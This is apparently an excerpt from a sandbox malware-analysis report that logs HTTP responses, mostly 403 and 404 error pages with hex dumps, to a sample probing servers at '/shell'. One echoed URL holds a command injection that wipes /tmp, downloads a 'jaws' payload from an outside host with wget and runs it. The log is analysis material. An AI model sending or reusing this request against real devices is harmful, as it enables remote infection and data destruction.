PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access /shellon this server.</p><hr><address>Apache/2.2.15 (CentOS) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: TengineDate: Sun, 14 Apr 2024 02:00:41 GMTContent-Type: text/htmlContent-Length: 238Connection: keep-aliveTiming-Allow-Origin: *EagleId: 7b9d94a117130600411383969eData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0d 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 55 52 4c 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>403 Forbidden</h1><p>You don't have permission to access the URL on this server.<hr/>Powered by Tengine</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:00:41 GMTServer: Boa/0.94.14rc21Accept-Ranges: bytesConnection: closeContent-Type: text/html; charset=ISO-8859-1Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>404 Not Found</H1>The requested URL /shell was not found on this server.</BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: TengineDate: Sun, 14 Apr 2024 02:00:41 GMTContent-Type: text/htmlContent-Length: 238Connection: keep-aliveTiming-Allow-Origin: *EagleId: 7b9d94af17130600413995175eData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0d 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 55 52 4c 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>403 Forbidden</h1><p>You don't have permission to access the URL on this server.<hr/>Powered by Tengine</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:00:41 GMTServer: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/7.4.29Content-Length: 296Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 33 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 31 2e 31 2e 31 6e 20 50 48 50 2f 37 2e 34 2e 32 39 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/7.4.29 Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiDate: Sun, 14 Apr 2024 02:00:42 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:00:43 GMTServer: ApacheContent-Length: 196Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sun, 14 Apr 2024 02:00:43 GMTServer: ApacheContent-Length: 9Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 46 6f 72 62 69 64 64 65 6e Data Ascii: Forbidden
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:00:44 GMTServer: Apache/2.4.57 (Debian)Content-Length: 271Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 37 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.57 (Debian) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:00:41 GMTServer: Boa/0.94.14rc21Accept-Ranges: bytesConnection: closeContent-Type: text/html; charset=ISO-8859-1Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>404 Not Found</H1>The requested URL /shell was not found on this server.</BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 02:00:44 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:00:44 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:00:45 GMTContent-Length: 831Content-Type: text/htmlConnection: Keep-AliveKeep-Alive: timeout=10Via: STON Edge Server/2.9.0Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 53 54 4f 4e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 3c 21 2d 2d 20 2a 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 20 63 6f 6c 6f 72 3a 20 23 36 35 36 35 36 35 3b 20 09 7d 23 73 74 6f 6e 6f 75 74 6c 69 6e 65 20 7b 20 77 69 64 74 68 3a 20 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 3a 20 30 70 78 3b 20 70 61 64 64 69 6e 67 3a 20 30 70 78 3b 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 36 30 70 78 3b 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 36 30 70 78 3b 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 46 46 46 46 46 46 3b 20 7d 23 73 74 6f 6e 62 6f 78 6f 75 74 6c 69 6e 65 20 7b 20 77 69 64 74 68 3a 20 36 30 30 70 78 3b 20 6d 61 72 67 69 6e 3a 20 30 70 78 3b 20 70 61 64 64 69 6e 67 3a 20 30 70 78 3b 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 30 30 30 30 30 30 3b 20 7d 23 73 74 6f 6e 62 6f 78 68 65 61 64 65 72 20 7b 20 77 69 64 74 68 3a 20 36 30 30 70 78 3b 20 6d 61 72 67 69 6e 3a 20 30 70 78 3b 20 70 61 64 64 69 6e 67 3a 20 30 70 78 3b 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 35 41 30 30 35 39 3b 20 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 33 30 70 78 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 30 30 30 30 30 30 3b 20 7d 23 73 74 6f 6e 62 6f 78 62 6f 64 79 20 7b 20 6d 61 72 67 69 6e 3a 20 30 70 78 3b 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 20 7d 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 3c 64 69 76 20 69 64 3d 22 73 74 6f 6e 6f 75 74 6c 69 6e 65 22 3e 3c 64 69 76 20 69 64 3d 22 73 74 6f 6e 62 6f 78 6f 75 74 6c 69 6e 65 22 3e 3c 64 69 76 20 69 64 3d 22 73 74 6f 6e 62 6f 78 68 65 61 64 65 72 22 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 64 69 76 3e 3c 64 69 76 20 69 64 3d 22 73 74 6f 6e 62 6f 78 62 6f 64 79 22 3e 3c 50 3e 52 65 71 75 65 73 74 65 64 20 68 6f 73 74 20 28 22 31 32 37 2e 30 2e 30 2e 31 3a 38 30 22 29 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 50 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>STON</title><style><!-- * { font-family: arial, sans-serif; font-size: 12px; color: #656565; }#stonoutline { width: 800px; margin: 0px; padding: 0px; padding-top: 60px; padding-bottom: 60px; background: #FFFFFF; }#stonboxoutline { width: 600px; margin: 0px; padding: 0px; border:
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 02:00:45 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 02:00:45 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Tengine/2.3.2Date: Sun, 14 Apr 2024 02:00:45 GMTContent-Type: text/htmlContent-Length: 647Connection: keep-aliveAlt-svc: quic=":8443";ma=2592000;v="43"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 20 53 6f 72 72 79 20 66 6f 72 20 74 68 65 20 69 6e 63 6f 6e 76 65 6e 69 65 6e 63 65 2e 3c 62 72 2f 3e 0d 0a 50 6c 65 61 73 65 20 72 65 70 6f 72 74 20 74 68 69 73 20 6d 65 73 73 61 67 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 20 74 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 74 6f 20 75 73 2e 3c 62 72 2f 3e 0d 0a 54 68 61 6e 6b 20 79 6f 75 20 76 65 72 79 20 6d 75 63 68 21 3c 2f 70 3e 0d 0a 3c 74 61 62 6c 65 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 55 52 4c 3a 3c 2f 74 64 3e 0d 0a 3c 74 64 3e 68 74 74 70 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 2f 73 68 65 6c 6c 3f 63 64 2b 2f 74 6d 70 3b 72 6d 2b 2d 72 66 2b 2a 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 6a 61 77 73 3b 73 68 2b 2f 74 6d 70 2f 6a 61 77 73 3c 2f 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 53 65 72 76 65 72 3a 3c 2f 74 64 3e 0d 0a 3c 74 64 3e 63 64 6e 78 61 63 6d 30 31 2d 72 73 34 34 2e 69 64 63 63 64 6e 2e 78 61 2e 6b 77 61 69 64 63 2e 63 6f 6d 3c 2f 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 44 61 74 65 3a 3c 2f 74 64 3e 0d 0a 3c 74 64 3e 32 30 32 34 2f 30 34 2f 31 34 20 30 32 3a 30 30 3a 34 35 3c 2f 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 2f 74 61 62 6c 65 3e 0d 0a 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 2f 32 2e 33 2e 32 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 74 65 6e 67 69 6e 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center> Sorry for the inconvenience.<br/>Please report this message and include the following information to us.<br/>Thank you very much!</p><table><tr><td>URL:</td><td>http://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws</td></tr><tr><td>Server:</td><td>cdnxacm01-rs44.idccdn.xa.kwaidc.com</td></tr><tr><td>Date:</td><td>2024/04/14 02:00:45</td></tr></table><hr/>Powered by Tengine/2.3.2<hr><center>tengine</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:00:47 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:00:47 GMTServer: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8e DAV/2 PHP/5.3.4 with Suhosin-PatchContent-Length: 203Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCONNECTION: closeCONTENT-LENGTH: 48X-XSS-Protection: 1;mode=blockContent-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval'X-Content-Type-Options: nosniffCONTENT-TYPE: text/htmlData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>404 Not Found</h1></body></html>
